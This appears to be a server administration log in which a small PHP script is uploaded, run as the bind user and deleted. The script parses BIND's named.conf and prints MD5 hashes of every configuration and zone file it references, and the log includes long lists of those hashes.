MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 11:55:43: Establishing a connection
2026-04-23 11:55:43: 

PUT: /tmp/pkp580491

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 11:55:43: 

runuser -l bind -s /bin/bash -c '/tmp/pkp580491; rm /tmp/pkp580491'

2026-04-23 11:55:43: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
